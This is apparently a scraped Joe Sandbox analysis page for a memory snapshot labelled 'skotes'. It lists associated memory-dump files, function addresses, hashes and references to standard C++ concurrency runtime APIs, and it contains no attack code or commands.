Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 62611f0782b3ae5b2c1e540dfd10006e00e0ad03cc3dcac781358f6da4efe26e
Instruction ID: b59bf1ae1f13d4c348c2ec5a082f4ad7eaf3dc3807d78da47133ef34292fcb21
Opcode Fuzzy Hash: 62611f0782b3ae5b2c1e540dfd10006e00e0ad03cc3dcac781358f6da4efe26e
Instruction Fuzzy Hash: 3A01D671205526AFCA267B60CD82E6DBBAAFF84754B10202BF910B7711CF21EC53D690

Function 00EE33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EE33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00EE33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00EE3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE341F

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: c29cf491de5bee12e842398481f4950750263f80f7f3c8b356d94c68ed837582
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 0001F236600558A7CB16EA668845EEFB7E9DF44350F002056FC22BB282DA70EE0196E0

Function 00ED9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00ED9519

Part of subcall function 00ECF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00ED5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00ED953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00ED9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00ED9559

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d1c062651abe6757e1922ba0aa85ec87f665627ce0e9a1f9052d1c8ee9e33d87
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 67F0A030200A205FE666AB699D11F6A23D5DF80715F00A42FE46BB7383CF64E843CBA0

Function 00ECEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00ECEFD1

Part of subcall function 00ECF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ECF989
Part of subcall function 00ECF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ECF9C0
Part of subcall function 00ECF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00ECF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ECEFDD

Part of subcall function 00ECF40F: Concurrency::critical_section::unlock.LIBCMT ref: 00ECF433

Concurrency::Context::Block.LIBCONCRT ref: 00ECEFE2

Part of subcall function 00ED0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00ED0368

Concurrency::critical_section::lock.LIBCONCRT ref: 00ECF002

Part of subcall function 00ECF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ECF8AC
Part of subcall function 00ECF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00ECF8B7

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 144a1da5e71359c7906dc84938c6f7c0759a487de3d2b6a177cca5b70b3d7e3d
Instruction ID: 1217a185759782b780f1027c37114b8c9769639bfe7a423d5a84064da244cd63
Opcode Fuzzy Hash: 144a1da5e71359c7906dc84938c6f7c0759a487de3d2b6a177cca5b70b3d7e3d
Instruction Fuzzy Hash: E0E01A35900505ABCB08FB20C655B6DBBA2BF84360B54922DE465272A2CF356E47CB81

Function 00EE1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00EE1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE17AF

Strings

pContext, xrefs: 00EE17A7

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
